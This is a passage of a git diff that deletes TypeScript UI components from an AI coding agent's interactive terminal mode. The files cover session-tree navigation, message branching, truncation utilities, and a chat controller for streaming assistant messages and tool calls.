result; - } - return ""; - } - - private hasTextContent(content: unknown): boolean { - if (typeof content === "string") return content.trim().length > 0; - if (Array.isArray(content)) { - for (const c of content) { - if ( - typeof c === "object" && - c !== null && - "type" in c && - c.type === "text" - ) { - const text = (c as { text?: string }).text; - if (text && text.trim().length > 0) return true; - } - } - } - return false; - } - - private formatToolCall(name: string, args: Record): string { - const shortenPath = (p: string): string => { - const home = process.env.HOME || process.env.USERPROFILE || ""; - if (home && p.startsWith(home)) return `~${p.slice(home.length)}`; - return p; - }; - - switch (name) { - case "read": { - const path = shortenPath(String(args.path || args.file_path || "")); - const offset = args.offset as number | undefined; - const limit = args.limit as number | undefined; - let display = path; - if (offset !== undefined || limit !== undefined) { - const start = offset ?? 1; - const end = limit !== undefined ? start + limit - 1 : ""; - display += `:${start}${end ? `-${end}` : ""}`; - } - return `[read: ${display}]`; - } - case "write": { - const path = shortenPath(String(args.path || args.file_path || "")); - return `[write: ${path}]`; - } - case "edit": { - const path = shortenPath(String(args.path || args.file_path || "")); - return `[edit: ${path}]`; - } - case "bash": { - const rawCmd = String(args.command || ""); - const cmd = rawCmd - .replace(/[\n\t]/g, " ") - .trim() - .slice(0, 50); - return `[bash: ${cmd}${rawCmd.length > 50 ? "..." : ""}]`; - } - case "grep": { - const pattern = String(args.pattern || ""); - const path = shortenPath(String(args.path || ".")); - return `[grep: /${pattern}/ in ${path}]`; - } - case "find": { - const pattern = String(args.pattern || ""); - const path = shortenPath(String(args.path || ".")); - return `[find: ${pattern} in ${path}]`; - } - case "ls": { - const path = shortenPath(String(args.path || ".")); - return `[ls: ${path}]`; - } - default: { - // Custom tool - show name and truncated JSON args - const argsStr = JSON.stringify(args).slice(0, 40); - return `[${name}: ${argsStr}${JSON.stringify(args).length > 40 ? "..." : ""}]`; - } - } - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - if (kb.matches(keyData, "selectUp")) { - this.selectedIndex = - this.selectedIndex === 0 - ? this.filteredNodes.length - 1 - : this.selectedIndex - 1; - } else if (kb.matches(keyData, "selectDown")) { - this.selectedIndex = - this.selectedIndex === this.filteredNodes.length - 1 - ? 0 - : this.selectedIndex + 1; - } else if (kb.matches(keyData, "treeFoldOrUp")) { - const currentId = this.filteredNodes[this.selectedIndex]?.node.entry.id; - if ( - currentId && - this.isFoldable(currentId) && - !this.foldedNodes.has(currentId) - ) { - this.foldedNodes.add(currentId); - this.applyFilter(); - } else { - this.selectedIndex = this.findBranchSegmentStart("up"); - } - } else if (kb.matches(keyData, "treeUnfoldOrDown")) { - const currentId = this.filteredNodes[this.selectedIndex]?.node.entry.id; - if (currentId && this.foldedNodes.has(currentId)) { - this.foldedNodes.delete(currentId); - this.applyFilter(); - } else { - this.selectedIndex = this.findBranchSegmentStart("down"); - } - } else if ( - kb.matches(keyData, "cursorLeft") || - kb.matches(keyData, "selectPageUp") - ) { - // Page up - this.selectedIndex = Math.max( - 0, - this.selectedIndex - this.maxVisibleLines, - ); - } else if ( - kb.matches(keyData, "cursorRight") || - kb.matches(keyData, "selectPageDown") - ) { - // Page down - this.selectedIndex = Math.min( - this.filteredNodes.length - 1, - this.selectedIndex + this.maxVisibleLines, - ); - } else if (kb.matches(keyData, "selectConfirm")) { - const selected = this.filteredNodes[this.selectedIndex]; - if (selected && this.onSelect) { - this.onSelect(selected.node.entry.id); - } - } else if (kb.matches(keyData, "selectCancel")) { - if (this.searchQuery) { - this.searchQuery = ""; - this.foldedNodes.clear(); - this.applyFilter(); - } else { - this.onCancel?.(); - } - } else if (matchesKey(keyData, "ctrl+d")) { - // Direct filter: default - this.filterMode = "default"; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (matchesKey(keyData, "ctrl+t")) { - // Toggle filter: no-tools ↔ default - this.filterMode = this.filterMode === "no-tools" ? "default" : "no-tools"; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (matchesKey(keyData, "ctrl+u")) { - // Toggle filter: user-only ↔ default - this.filterMode = - this.filterMode === "user-only" ? "default" : "user-only"; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (matchesKey(keyData, "ctrl+l")) { - // Toggle filter: labeled-only ↔ default - this.filterMode = - this.filterMode === "labeled-only" ? "default" : "labeled-only"; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (matchesKey(keyData, "ctrl+a")) { - // Toggle filter: all ↔ default - this.filterMode = this.filterMode === "all" ? "default" : "all"; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (matchesKey(keyData, "shift+ctrl+o")) { - // Cycle filter backwards - const modes: FilterMode[] = [ - "default", - "no-tools", - "user-only", - "labeled-only", - "all", - ]; - const currentIndex = modes.indexOf(this.filterMode); - this.filterMode = modes[(currentIndex - 1 + modes.length) % modes.length]; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (matchesKey(keyData, "ctrl+o")) { - // Cycle filter forwards: default → no-tools → user-only → labeled-only → all → default - const modes: FilterMode[] = [ - "default", - "no-tools", - "user-only", - "labeled-only", - "all", - ]; - const currentIndex = modes.indexOf(this.filterMode); - this.filterMode = modes[(currentIndex + 1) % modes.length]; - this.foldedNodes.clear(); - this.applyFilter(); - } else if (kb.matches(keyData, "deleteCharBackward")) { - if (this.searchQuery.length > 0) { - this.searchQuery = this.searchQuery.slice(0, -1); - this.foldedNodes.clear(); - this.applyFilter(); - } - } else if (matchesKey(keyData, "shift+l")) { - const selected = this.filteredNodes[this.selectedIndex]; - if (selected && this.onLabelEdit) { - this.onLabelEdit(selected.node.entry.id, selected.node.label); - } - } else { - const hasControlChars = [...keyData].some((ch) => { - const code = ch.charCodeAt(0); - return code < 32 || code === 0x7f || (code >= 0x80 && code <= 0x9f); - }); - if (!hasControlChars && keyData.length > 0) { - this.searchQuery += keyData; - this.foldedNodes.clear(); - this.applyFilter(); - } - } - } - - /** - * Whether a node can be folded. A node is foldable if it has visible children - * and is either a root (no visible parent) or a segment start (visible parent - * has multiple visible children). - */ - private isFoldable(entryId: string): boolean { - const children = this.visibleChildrenMap.get(entryId); - if (!children || children.length === 0) return false; - const parentId = this.visibleParentMap.get(entryId); - if (parentId === null || parentId === undefined) return true; - const siblings = this.visibleChildrenMap.get(parentId); - return siblings !== undefined && siblings.length > 1; - } - - /** - * Find the index of the next branch segment start in the given direction. - * A segment start is the first child of a branch point. - * - * "up" walks the visible parent chain; "down" walks visible children - * (always following the first child). - */ - private findBranchSegmentStart(direction: "up" | "down"): number { - const selectedId = this.filteredNodes[this.selectedIndex]?.node.entry.id; - if (!selectedId) return this.selectedIndex; - - const indexByEntryId = new Map( - this.filteredNodes.map((node, i) => [node.node.entry.id, i]), - ); - let currentId: string = selectedId; - if (direction === "down") { - while (true) { - const children: string[] = this.visibleChildrenMap.get(currentId) ?? []; - if (children.length === 0) return indexByEntryId.get(currentId)!; - if (children.length > 1) return indexByEntryId.get(children[0])!; - currentId = children[0]; - } - } - - // direction === "up" - while (true) { - const parentId: string | null = - this.visibleParentMap.get(currentId) ?? null; - if (parentId === null) return indexByEntryId.get(currentId)!; - const children = this.visibleChildrenMap.get(parentId) ?? []; - if (children.length > 1) { - const segmentStart = indexByEntryId.get(currentId)!; - if (segmentStart < this.selectedIndex) { - return segmentStart; - } - } - currentId = parentId; - } - } -} - -/** Component that displays the current search query */ -class SearchLine implements Component { - constructor(private treeList: TreeList) {} - - invalidate(): void {} - - render(width: number): string[] { - const query = this.treeList.getSearchQuery(); - if (query) { - return [ - truncateToWidth( - ` ${theme.fg("muted", "Type to search:")} ${theme.fg("accent", query)}`, - width, - ), - ]; - } - return [ - truncateToWidth(` ${theme.fg("muted", "Type to search:")}`, width), - ]; - } - - handleInput(_keyData: string): void {} -} - -/** Label input component shown when editing a label */ -class LabelInput implements Component, Focusable { - private input: Input; - private entryId: string; - public onSubmit?: (entryId: string, label: string | undefined) => void; - public onCancel?: () => void; - - // Focusable implementation - propagate to input for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - this.input.focused = value; - } - - constructor(entryId: string, currentLabel: string | undefined) { - this.entryId = entryId; - this.input = new Input(); - if (currentLabel) { - this.input.setValue(currentLabel); - } - } - - invalidate(): void {} - - render(width: number): string[] { - const lines: string[] = []; - const indent = " "; - const availableWidth = width - indent.length; - lines.push( - truncateToWidth( - `${indent}${theme.fg("muted", "Label (empty to remove):")}`, - width, - ), - ); - lines.push( - ...this.input - .render(availableWidth) - .map((line) => truncateToWidth(`${indent}${line}`, width)), - ); - lines.push( - truncateToWidth( - `${indent}${keyHint("selectConfirm", "save")} ${keyHint("selectCancel", "cancel")}`, - width, - ), - ); - return lines; - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - if (kb.matches(keyData, "selectConfirm")) { - const value = this.input.getValue().trim(); - this.onSubmit?.(this.entryId, value || undefined); - } else if (kb.matches(keyData, "selectCancel")) { - this.onCancel?.(); - } else { - this.input.handleInput(keyData); - } - } -} - -/** - * Component that renders a session tree selector for navigation - */ -export class TreeSelectorComponent extends Container implements Focusable { - private treeList: TreeList; - private labelInput: LabelInput | null = null; - private labelInputContainer: Container; - private treeContainer: Container; - private onLabelChangeCallback?: ( - entryId: string, - label: string | undefined, - ) => void; - - // Focusable implementation - propagate to labelInput when active for IME cursor positioning - private _focused = false; - get focused(): boolean { - return this._focused; - } - set focused(value: boolean) { - this._focused = value; - // Propagate to labelInput when it's active - if (this.labelInput) { - this.labelInput.focused = value; - } - } - - constructor( - tree: SessionTreeNode[], - currentLeafId: string | null, - terminalHeight: number, - onSelect: (entryId: string) => void, - onCancel: () => void, - onLabelChange?: (entryId: string, label: string | undefined) => void, - initialSelectedId?: string, - initialFilterMode?: FilterMode, - ) { - super(); - - this.onLabelChangeCallback = onLabelChange; - const maxVisibleLines = Math.max(5, Math.floor(terminalHeight / 2)); - - this.treeList = new TreeList( - tree, - currentLeafId, - maxVisibleLines, - initialSelectedId, - initialFilterMode, - ); - this.treeList.onSelect = onSelect; - this.treeList.onCancel = onCancel; - this.treeList.onLabelEdit = (entryId, currentLabel) => - this.showLabelInput(entryId, currentLabel); - - this.treeContainer = new Container(); - this.treeContainer.addChild(this.treeList); - - this.labelInputContainer = new Container(); - - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - this.addChild(new Text(theme.bold(" Session Tree"), 1, 0)); - this.addChild( - new TruncatedText( - theme.fg( - "muted", - ` ↑/↓: move. ←/→: page. ^←/^→ or ${process.platform === "darwin" ? "⌥←/⌥→" : "Alt+←/Alt+→"}: fold/branch. Shift+L: label. `, - ) + theme.fg("muted", "^D/^T/^U/^L/^A: filters (^O/⇧^O cycle)"), - 0, - 0, - ), - ); - this.addChild(new SearchLine(this.treeList)); - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - this.addChild(this.treeContainer); - this.addChild(this.labelInputContainer); - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - - if (tree.length === 0) { - setTimeout(() => onCancel(), 100); - } - } - - private showLabelInput( - entryId: string, - currentLabel: string | undefined, - ): void { - this.labelInput = new LabelInput(entryId, currentLabel); - this.labelInput.onSubmit = (id, label) => { - this.treeList.updateNodeLabel(id, label); - this.onLabelChangeCallback?.(id, label); - this.hideLabelInput(); - }; - this.labelInput.onCancel = () => this.hideLabelInput(); - - // Propagate current focused state to the new labelInput - this.labelInput.focused = this._focused; - - this.treeContainer.clear(); - this.labelInputContainer.clear(); - this.labelInputContainer.addChild(this.labelInput); - } - - private hideLabelInput(): void { - this.labelInput = null; - this.labelInputContainer.clear(); - this.treeContainer.clear(); - this.treeContainer.addChild(this.treeList); - } - - handleInput(keyData: string): void { - if (this.labelInput) { - this.labelInput.handleInput(keyData); - } else { - this.treeList.handleInput(keyData); - } - } - - getTreeList(): TreeList { - return this.treeList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/user-message-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/user-message-selector.ts deleted file mode 100644 index 5be1771bf..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/user-message-selector.ts +++ /dev/null @@ -1,180 +0,0 @@ -import { - type Component, - Container, - getEditorKeybindings, - Spacer, - Text, - truncateToWidth, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; - -interface UserMessageItem { - id: string; // Entry ID in the session - text: string; // The message text - timestamp?: string; // Optional timestamp if available -} - -/** - * Custom user message list component with selection - */ -class UserMessageList implements Component { - private messages: UserMessageItem[] = []; - private selectedIndex: number = 0; - public onSelect?: (entryId: string) => void; - public onCancel?: () => void; - private maxVisible: number = 10; // Max messages visible - - constructor(messages: UserMessageItem[]) { - // Store messages in chronological order (oldest to newest) - this.messages = messages; - // Start with the last (most recent) message selected - this.selectedIndex = Math.max(0, messages.length - 1); - } - - invalidate(): void { - // No cached state to invalidate currently - } - - render(width: number): string[] { - const lines: string[] = []; - - if (this.messages.length === 0) { - lines.push(theme.fg("muted", " No user messages found")); - return lines; - } - - // Calculate visible range with scrolling - const startIndex = Math.max( - 0, - Math.min( - this.selectedIndex - Math.floor(this.maxVisible / 2), - this.messages.length - this.maxVisible, - ), - ); - const endIndex = Math.min( - startIndex + this.maxVisible, - this.messages.length, - ); - - // Render visible messages (2 lines per message + blank line) - for (let i = startIndex; i < endIndex; i++) { - const message = this.messages[i]; - const isSelected = i === this.selectedIndex; - - // Normalize message to single line - const normalizedMessage = message.text.replace(/\n/g, " ").trim(); - - // First line: cursor + message - const cursor = isSelected ? theme.fg("accent", "› ") : " "; - const maxMsgWidth = width - 2; // Account for cursor (2 chars) - const truncatedMsg = truncateToWidth(normalizedMessage, maxMsgWidth); - const messageLine = - cursor + (isSelected ? theme.bold(truncatedMsg) : truncatedMsg); - - lines.push(messageLine); - - // Second line: metadata (position in history) - const position = i + 1; - const metadata = ` Message ${position} of ${this.messages.length}`; - const metadataLine = theme.fg("muted", metadata); - lines.push(metadataLine); - lines.push(""); // Blank line between messages - } - - // Add scroll indicator if needed - if (startIndex > 0 || endIndex < this.messages.length) { - const scrollInfo = theme.fg( - "muted", - ` (${this.selectedIndex + 1}/${this.messages.length})`, - ); - lines.push(scrollInfo); - } - - return lines; - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - // Up arrow - go to previous (older) message, wrap to bottom when at top - if (kb.matches(keyData, "selectUp")) { - this.selectedIndex = - this.selectedIndex === 0 - ? this.messages.length - 1 - : this.selectedIndex - 1; - } - // Down arrow - go to next (newer) message, wrap to top when at bottom - else if (kb.matches(keyData, "selectDown")) { - this.selectedIndex = - this.selectedIndex === this.messages.length - 1 - ? 0 - : this.selectedIndex + 1; - } - // Enter - select message and branch - else if (kb.matches(keyData, "selectConfirm")) { - const selected = this.messages[this.selectedIndex]; - if (selected && this.onSelect) { - this.onSelect(selected.id); - } - } - // Escape - cancel - else if (kb.matches(keyData, "selectCancel")) { - if (this.onCancel) { - this.onCancel(); - } - } - } -} - -/** - * Component that renders a user message selector for branching - */ -export class UserMessageSelectorComponent extends Container { - private messageList: UserMessageList; - - constructor( - messages: UserMessageItem[], - onSelect: (entryId: string) => void, - onCancel: () => void, - ) { - super(); - - // Add header - this.addChild(new Spacer(1)); - this.addChild(new Text(theme.bold("Branch from Message"), 1, 0)); - this.addChild( - new Text( - theme.fg( - "muted", - "Select a message to create a new branch from that point", - ), - 1, - 0, - ), - ); - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - this.addChild(new Spacer(1)); - - // Create message list - this.messageList = new UserMessageList(messages); - this.messageList.onSelect = onSelect; - this.messageList.onCancel = onCancel; - - this.addChild(this.messageList); - - // Add bottom border - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder()); - - // Auto-cancel if no messages — invoke synchronously via microtask - // to avoid the 100ms visual flicker from setTimeout - if (messages.length === 0) { - Promise.resolve().then(() => onCancel()); - } - } - - getMessageList(): UserMessageList { - return this.messageList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/user-message.ts b/packages/pi-coding-agent/src/modes/interactive/components/user-message.ts deleted file mode 100644 index c009256de..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/user-message.ts +++ /dev/null @@ -1,57 +0,0 @@ -import { - Container, - Markdown, - type MarkdownTheme, - Spacer, -} from "@singularity-forge/pi-tui"; -import { getMarkdownTheme, theme } from "../theme/theme.js"; -import { formatTimestamp, type TimestampFormat } from "./timestamp.js"; - -const OSC133_ZONE_START = "\x1b]133;A\x07"; -const OSC133_ZONE_END = "\x1b]133;B\x07"; - -/** - * Component that renders a user message with a right-aligned timestamp. - */ -export class UserMessageComponent extends Container { - private timestamp: number | undefined; - private timestampFormat: TimestampFormat; - - constructor( - text: string, - markdownTheme: MarkdownTheme = getMarkdownTheme(), - timestamp?: number, - timestampFormat: TimestampFormat = "date-time-iso", - ) { - super(); - this.timestamp = timestamp; - this.timestampFormat = timestampFormat; - this.addChild(new Spacer(1)); - this.addChild( - new Markdown(text, 1, 1, markdownTheme, { - bgColor: (text: string) => theme.bg("userMessageBg", text), - color: (text: string) => theme.fg("userMessageText", text), - }), - ); - } - - override render(width: number): string[] { - const lines = super.render(width); - if (lines.length === 0) { - return lines; - } - - // Insert right-aligned timestamp above the message content - if (this.timestamp) { - const timeStr = formatTimestamp(this.timestamp, this.timestampFormat); - const label = theme.fg("dim", timeStr); - const padding = Math.max(0, width - timeStr.length - 1); - const timestampLine = " ".repeat(padding) + label; - lines.splice(0, 0, timestampLine); - } - - lines[0] = OSC133_ZONE_START + lines[0]; - lines[lines.length - 1] = lines[lines.length - 1] + OSC133_ZONE_END; - return lines; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/visual-truncate.ts b/packages/pi-coding-agent/src/modes/interactive/components/visual-truncate.ts deleted file mode 100644 index 8989c1ee9..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/visual-truncate.ts +++ /dev/null @@ -1,50 +0,0 @@ -/** - * Shared utility for truncating text to visual lines (accounting for line wrapping). - * Used by both tool-execution.ts and bash-execution.ts for consistent behavior. - */ - -import { Text } from "@singularity-forge/pi-tui"; - -export interface VisualTruncateResult { - /** The visual lines to display */ - visualLines: string[]; - /** Number of visual lines that were skipped (hidden) */ - skippedCount: number; -} - -/** - * Truncate text to a maximum number of visual lines (from the end). - * This accounts for line wrapping based on terminal width. - * - * @param text - The text content (may contain newlines) - * @param maxVisualLines - Maximum number of visual lines to show - * @param width - Terminal/render width - * @param paddingX - Horizontal padding for Text component (default 0). - * Use 0 when result will be placed in a Box (Box adds its own padding). - * Use 1 when result will be placed in a plain Container. - * @returns The truncated visual lines and count of skipped lines - */ -export function truncateToVisualLines( - text: string, - maxVisualLines: number, - width: number, - paddingX: number = 0, -): VisualTruncateResult { - if (!text) { - return { visualLines: [], skippedCount: 0 }; - } - - // Create a temporary Text component to render and get visual lines - const tempText = new Text(text, paddingX, 0); - const allVisualLines = tempText.render(width); - - if (allVisualLines.length <= maxVisualLines) { - return { visualLines: allVisualLines, skippedCount: 0 }; - } - - // Take the last N visual lines - const truncatedLines = allVisualLines.slice(-maxVisualLines); - const skippedCount = allVisualLines.length - maxVisualLines; - - return { visualLines: truncatedLines, skippedCount }; -} diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.test.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.test.ts deleted file mode 100644 index 53726fe1c..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.test.ts +++ /dev/null @@ -1,71 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; - -import { findLatestPinnableText } from "./chat-controller.js"; - -test("findLatestPinnableText: empty content returns empty string", () => { - assert.equal(findLatestPinnableText([]), ""); -}); - -test("findLatestPinnableText: no tool calls returns empty string", () => { - const blocks = [ - { type: "text", text: "hello" }, - { type: "text", text: "world" }, - ]; - assert.equal(findLatestPinnableText(blocks), ""); -}); - -test("findLatestPinnableText: returns text preceding a tool call", () => { - const blocks = [ - { type: "text", text: "doing the thing" }, - { type: "toolCall", id: "1", name: "Read" }, - ]; - assert.equal(findLatestPinnableText(blocks), "doing the thing"); -}); - -test("findLatestPinnableText: ignores trailing streaming text after the last tool call (regression: pinned mirror duplicated chat-container tokens)", () => { - const blocks = [ - { type: "text", text: "first prose" }, - { type: "toolCall", id: "1", name: "Read" }, - { type: "text", text: "second prose still streaming" }, - ]; - assert.equal(findLatestPinnableText(blocks), "first prose"); -}); - -test("findLatestPinnableText: with multiple tools, picks text before the most recent tool call", () => { - const blocks = [ - { type: "text", text: "first" }, - { type: "toolCall", id: "1", name: "Read" }, - { type: "text", text: "second" }, - { type: "toolCall", id: "2", name: "Grep" }, - { type: "text", text: "third streaming" }, - ]; - assert.equal(findLatestPinnableText(blocks), "second"); -}); - -test("findLatestPinnableText: treats serverToolUse the same as toolCall", () => { - const blocks = [ - { type: "text", text: "before web search" }, - { type: "serverToolUse", id: "ws1", name: "web_search" }, - { type: "text", text: "answer streaming" }, - ]; - assert.equal(findLatestPinnableText(blocks), "before web search"); -}); - -test("findLatestPinnableText: skips empty/whitespace-only text blocks", () => { - const blocks = [ - { type: "text", text: "real prose" }, - { type: "text", text: " " }, - { type: "text", text: "" }, - { type: "toolCall", id: "1", name: "Read" }, - ]; - assert.equal(findLatestPinnableText(blocks), "real prose"); -}); - -test("findLatestPinnableText: thinking blocks are not pinnable", () => { - const blocks = [ - { type: "thinking", thinking: "internal" }, - { type: "toolCall", id: "1", name: "Read" }, - ]; - assert.equal(findLatestPinnableText(blocks), ""); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.ts b/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.ts deleted file mode 100644 index b13668fa3..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.ts +++ /dev/null @@ -1,938 +0,0 @@ -import { Loader, Markdown, Spacer, Text } from "@singularity-forge/pi-tui"; -import { AssistantMessageComponent } from "../components/assistant-message.js"; -import { DynamicBorder } from "../components/dynamic-border.js"; -import { appKey } from "../components/keybinding-hints.js"; -import { ToolExecutionComponent } from "../components/tool-execution.js"; -import type { - InteractiveModeEvent, - InteractiveModeStateHost, -} from "../interactive-mode-state.js"; -import { theme } from "../theme/theme.js"; - -// Tracks the last processed content index to avoid re-scanning all blocks on every message_update -let lastProcessedContentIndex = 0; - -// Tracks the previous content[] length so we can detect when an adapter resets -// the assistant content array for a new provider sub-turn within one lifecycle. -let lastContentLength = 0; - -// --- Segment walker state (per streaming assistant turn) --- -type RenderedSegment = - | { - kind: "text-run"; - startIndex: number; - endIndex: number; - contentType: "text" | "thinking"; - component: AssistantMessageComponent; - } - | { kind: "tool"; contentIndex: number; component: ToolExecutionComponent }; - -let renderedSegments: RenderedSegment[] = []; -// When providers reuse one assistant lifecycle across internal sub-turns, -// a content[] shrink resets renderedSegments. Keep the displaced segments so -// claude-code MCP pruning can remove stale provisional text later. -let orphanedSegments: RenderedSegment[] = []; - -function hasVisibleAssistantContent(message: { content: Array }): boolean { - return message.content.some( - (c) => - (c.type === "text" && - typeof c.text === "string" && - c.text.trim().length > 0) || - (c.type === "thinking" && - typeof c.thinking === "string" && - c.thinking.trim().length > 0), - ); -} - -function hasAssistantToolBlocks(message: { content: Array }): boolean { - return message.content.some( - (c) => c.type === "toolCall" || c.type === "serverToolUse", - ); -} - -function modelLabelFromAssistant(message: any): string | undefined { - if (message?.role !== "assistant") return undefined; - const provider = - typeof message.provider === "string" ? message.provider.trim() : ""; - const model = typeof message.model === "string" ? message.model.trim() : ""; - return provider && model ? `${provider}/${model}` : undefined; -} - -function modelLabelFromHost( - host: InteractiveModeStateHost, -): string | undefined { - const streamingLabel = modelLabelFromAssistant(host.streamingMessage); - if (streamingLabel) return streamingLabel; - const model = host.session?.model; - const provider = - typeof model?.provider === "string" ? model.provider.trim() : ""; - const id = typeof model?.id === "string" ? model.id.trim() : ""; - return provider && id ? `${provider}/${id}` : undefined; -} - -// Pick the latest non-empty text block that appears strictly before the most -// recent tool call. Text blocks that come after the last tool call are still -// streaming live into the chat container, so mirroring them into the pinned -// "Latest Output" zone would render the same tokens twice. -export function findLatestPinnableText(contentBlocks: Array): string { - let lastToolIdx = -1; - for (let i = contentBlocks.length - 1; i >= 0; i--) { - const c = contentBlocks[i]; - if (c?.type === "toolCall" || c?.type === "serverToolUse") { - lastToolIdx = i; - break; - } - } - for (let i = lastToolIdx - 1; i >= 0; i--) { - const c = contentBlocks[i]; - if (c?.type === "text" && typeof c.text === "string" && c.text.trim()) { - return c.text.trim(); - } - } - return ""; -} - -// Tracks the latest assistant text for the pinned message zone -let lastPinnedText = ""; -// Whether any tool execution has been added in this assistant turn (triggers pinned display) -let hasToolsInTurn = false; -// Reference to the pinned border so we can toggle its label between working/idle -let pinnedBorder: DynamicBorder | undefined; -// Reference to the pinned markdown component below the border -let pinnedTextComponent: Markdown | undefined; - -export async function handleAgentEvent( - host: InteractiveModeStateHost & { - init: () => Promise; - getMarkdownThemeWithSettings: () => any; - addMessageToChat: (message: any, options?: any) => void; - formatWebSearchResult: (content: unknown) => string; - getRegisteredToolDefinition: (toolName: string) => any; - checkShutdownRequested: () => Promise; - rebuildChatFromMessages: () => void; - flushCompactionQueue: (options?: { willRetry?: boolean }) => Promise; - showStatus: (message: string) => void; - showError: (message: string) => void; - updatePendingMessagesDisplay: () => void; - updateTerminalTitle: () => void; - updateEditorBorderColor: () => void; - pendingMessagesContainer: { clear: () => void }; - }, - event: InteractiveModeEvent, -): Promise { - if (!host.isInitialized) { - await host.init(); - } - - host.footer.invalidate(); - - // Reset content index tracker and pinned state when a new assistant message starts - if (event.type === "message_start" && event.message.role === "assistant") { - lastProcessedContentIndex = 0; - lastContentLength = 0; - lastPinnedText = ""; - hasToolsInTurn = false; - renderedSegments = []; - orphanedSegments = []; - if (pinnedBorder) pinnedBorder.stopSpinner(); - pinnedBorder = undefined; - pinnedTextComponent = undefined; - host.pinnedMessageContainer.clear(); - } - - switch (event.type) { - case "session_state_changed": - switch (event.reason) { - case "new_session": - case "switch_session": - case "fork": - host.streamingComponent = undefined; - host.streamingMessage = undefined; - host.pendingTools.clear(); - host.pendingMessagesContainer.clear(); - host.pinnedMessageContainer.clear(); - lastPinnedText = ""; - hasToolsInTurn = false; - renderedSegments = []; - orphanedSegments = []; - lastContentLength = 0; - if (pinnedBorder) pinnedBorder.stopSpinner(); - pinnedBorder = undefined; - pinnedTextComponent = undefined; - host.compactionQueuedMessages = []; - host.rebuildChatFromMessages(); - host.updatePendingMessagesDisplay(); - host.updateTerminalTitle(); - host.updateEditorBorderColor(); - host.ui.requestRender(); - return; - case "set_session_name": - host.updateTerminalTitle(); - host.ui.requestRender(); - return; - case "set_model": - case "set_thinking_level": - host.updateEditorBorderColor(); - host.ui.requestRender(); - return; - default: - host.ui.requestRender(); - return; - } - case "agent_start": - if (host.retryEscapeHandler) { - host.defaultEditor.onEscape = host.retryEscapeHandler; - host.retryEscapeHandler = undefined; - } - if (host.retryLoader) { - host.retryLoader.stop(); - host.retryLoader = undefined; - } - if (host.loadingAnimation) { - host.loadingAnimation.stop(); - } - host.statusContainer.clear(); - host.loadingAnimation = new Loader( - host.ui, - (spinner) => theme.fg("accent", spinner), - (text) => theme.fg("muted", text), - host.defaultWorkingMessage, - ); - host.statusContainer.addChild(host.loadingAnimation); - if (host.pendingWorkingMessage !== undefined) { - if (host.pendingWorkingMessage) { - host.loadingAnimation.setMessage(host.pendingWorkingMessage); - } - host.pendingWorkingMessage = undefined; - } - host.ui.requestRender(); - break; - - case "message_start": - if (event.message.role === "custom") { - host.addMessageToChat(event.message); - host.ui.requestRender(); - } else if (event.message.role === "user") { - host.addMessageToChat(event.message); - host.updatePendingMessagesDisplay(); - host.ui.requestRender(); - } else if (event.message.role === "assistant") { - host.streamingMessage = event.message; - // External-tool providers can stream multiple assistant turns through - // one response. Delay component creation until visible assistant text - // arrives so tool outputs keep chronological ordering. - host.ui.requestRender(); - } - break; - - case "message_update": - if (event.message.role === "assistant") { - host.streamingMessage = event.message; - const innerEvent = event.assistantMessageEvent; - - let externalToolResult: - | { - toolCallId: string; - content: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>; - details: Record; - isError: boolean; - } - | undefined; - if (innerEvent.type === "toolcall_end" && innerEvent.toolCall) { - const tc = innerEvent.toolCall as any; - const ext = tc.externalResult; - if (ext) { - externalToolResult = { - toolCallId: tc.id, - content: ext.content ?? [{ type: "text", text: "" }], - details: ext.details ?? {}, - isError: ext.isError ?? false, - }; - } - } else if (innerEvent.type === "server_tool_use") { - const idx = - typeof innerEvent.contentIndex === "number" - ? innerEvent.contentIndex - : -1; - const block = - idx >= 0 ? (host.streamingMessage.content[idx] as any) : undefined; - const ext = block?.externalResult; - if (block?.id && ext) { - externalToolResult = { - toolCallId: block.id, - content: ext.content ?? [{ type: "text", text: "" }], - details: ext.details ?? {}, - isError: ext.isError ?? false, - }; - } - } - - const contentBlocks = host.streamingMessage.content; - // Some adapters (notably claude-code) reuse a single assistant - // lifecycle while internally spanning multiple provider sub-turns. - // When a new sub-turn starts, content[] length shrinks back to 0/1. - // The scan loop needs its index reset, AND the segment walker's - // renderedSegments map must be cleared so existing text-run - // components don't get overwritten in place with new sub-turn - // content (#4144 regression). Prior sub-turn children stay in - // chatContainer as frozen history; new segments append after them. - if (contentBlocks.length < lastContentLength) { - orphanedSegments = [...renderedSegments]; - renderedSegments = []; - lastPinnedText = ""; - lastProcessedContentIndex = 0; - } else if (lastProcessedContentIndex >= contentBlocks.length) { - lastProcessedContentIndex = 0; - } - lastContentLength = contentBlocks.length; - for (let i = lastProcessedContentIndex; i < contentBlocks.length; 